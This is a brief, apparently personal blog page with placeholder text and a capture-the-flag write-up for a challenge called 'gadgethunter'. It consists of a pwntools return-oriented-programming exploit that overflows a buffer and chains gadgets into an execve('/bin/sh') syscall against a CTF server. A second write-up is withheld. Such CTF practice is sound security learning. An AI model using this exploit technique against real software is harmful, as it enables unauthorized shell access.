test

2025-07-24

test1

test2

test3

  • img image3

gadgethunter writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

# con = process("./gadgethunter")
con = remote("ctf.adl.tw", 10004)

buf_addr = 0x4c6170
# buf = b'/bin/bash\x00'
pop_rdi = 0x0000000000401ebf # : pop rdi ; ret
pop_rsi = 0x0000000000409eee # : pop rsi ; ret
pop_rax_rdx_rbx = 0x0000000000485c0a #: pop rax ; pop rdx ; pop rbx ; ret
bin_bash = 0x7fffffffdb60 #0x7ffeded74890
pop_rsp = 0x000000000040231e #: pop rsp ; ret
syscall = 0x0000000000401c74 # : syscall
add_al_11_mov_rax8_rdx = 0x00000000004520a1 #: adc al, 0x11 ; mov qword ptr [rax + 8], rdx ; ret
payload = b'a'*40 + p64(pop_rax_rdx_rbx) + p64(0x4c6157) +b'/bin/sh\x00' + \
p64(0x0) + p64(add_al_11_mov_rax8_rdx) + p64(pop_rax_rdx_rbx) + p64(0x3b) + \
p64(0x0) + p64(0x0) + p64(pop_rsi) + p64(0x0) + p64(pop_rdi) + p64(buf_addr) + \
p64(syscall)

con.recvuntil(b'message:\n')
raw_input()
con.sendline(payload)
# sleep(0.1)
# con.sendline(buf)

con.interactive()
con.close()

open_book_exam writeup

1
# Oh noooo~, I can't publish this, you will never find it!

Comments: